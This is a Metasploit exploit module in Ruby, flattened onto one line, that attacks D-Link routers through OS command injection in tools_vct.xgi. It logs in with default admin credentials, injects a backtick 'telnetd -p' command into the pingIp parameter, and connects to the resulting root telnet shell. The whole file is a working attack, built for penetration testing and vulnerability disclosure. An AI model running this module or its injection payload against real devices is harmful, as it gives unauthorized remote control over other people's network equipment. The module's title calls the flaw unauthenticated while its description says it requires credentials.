## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'D-Link Devices Unauthenticated Remote Command Execution', 'Description' => %q{ Different D-Link Routers are vulnerable to OS command injection via the web interface. The vulnerability exists in tools_vct.xgi, which is accessible with credentials. According to the vulnerability discoverer, more D-Link devices may be affected. }, 'Author' => [ 'Michael Messner ', # Vulnerability discovery and Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, 'References' => [ [ 'OSVDB', '92698' ], [ 'EDB', '25024' ], [ 'BID', '59405' ], [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-014' ] ], 'DisclosureDate' => 'Apr 22 2013', 'Privileged' => true, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find', }, }, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' }, 'Targets' => [ [ 'Automatic', { } ], ], 'DefaultTarget' => 0 )) register_options( [ OptString.new('USERNAME',[ true, 'User to login with', 'admin']), OptString.new('PASSWORD',[ false, 'Password to login with', 'admin']), ], self.class) register_advanced_options( [ OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet command', 10]), OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25]) ], self.class) end def tel_timeout (datastore['TelnetTimeout'] || 10).to_i end def banner_timeout (datastore['TelnetBannerTimeout'] || 25).to_i end def exploit user = datastore['USERNAME'] if datastore['PASSWORD'].nil? pass = "" else pass = datastore['PASSWORD'] end test_login(user, pass) exploit_telnet end def test_login(user, pass) print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}") login_path = "/login.php" #valid login response includes the following login_check = "\" begin res = send_request_cgi({ 'uri' => login_path, 'method' => 'POST', 'vars_post' => { "ACTION_POST" => "LOGIN", "LOGIN_USER" => "#{user}", "LOGIN_PASSWD" => "#{pass}", "login" => "+Log+In+" } }) if res.nil? fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice - no response") end if (res.headers['Server'].nil? or res.headers['Server'] !~ /Mathopd\/1.5p6/) fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice - check the server banner") end if (res.code == 404) fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice - 404 error") end if (res.body) =~ /#{login_check}/ print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}") else fail_with(Failure::Unknown, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") end rescue ::Rex::ConnectionError fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice") end end def exploit_telnet telnetport = rand(32767) + 32768 print_status("#{rhost}:#{rport} - Telnetport: #{telnetport}") cmd = "telnetd -p #{telnetport}" #starting the telnetd gives no response request(cmd) print_status("#{rhost}:#{rport} - Trying to establish a telnet connection...") sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i }) if sock.nil? fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!") end print_status("#{rhost}:#{rport} - Trying to establish a telnet session...") prompt = negotiate_telnet(sock) if prompt.nil? sock.close fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a telnet session") else print_good("#{rhost}:#{rport} - Telnet session successfully established...") end handler(sock) end def request(cmd) uri = '/tools_vct.xgi' begin res = send_request_cgi({ 'uri' => uri, 'vars_get' => { 'set/runtime/switch/getlinktype' => "1", 'set/runtime/diagnostic/pingIp' => "`#{cmd}`", 'pingIP' => "" }, 'method' => 'GET', }) return res rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Could not connect to the webservice") end end # Since there isn't user/password negotiation, just wait until the prompt is there def negotiate_telnet(sock) begin Timeout.timeout(banner_timeout) do while(true) data = sock.get_once(-1, tel_timeout) return nil if not data or data.length == 0 if data =~ /\x23\x20$/ return true end end end rescue ::Timeout::Error return nil end end end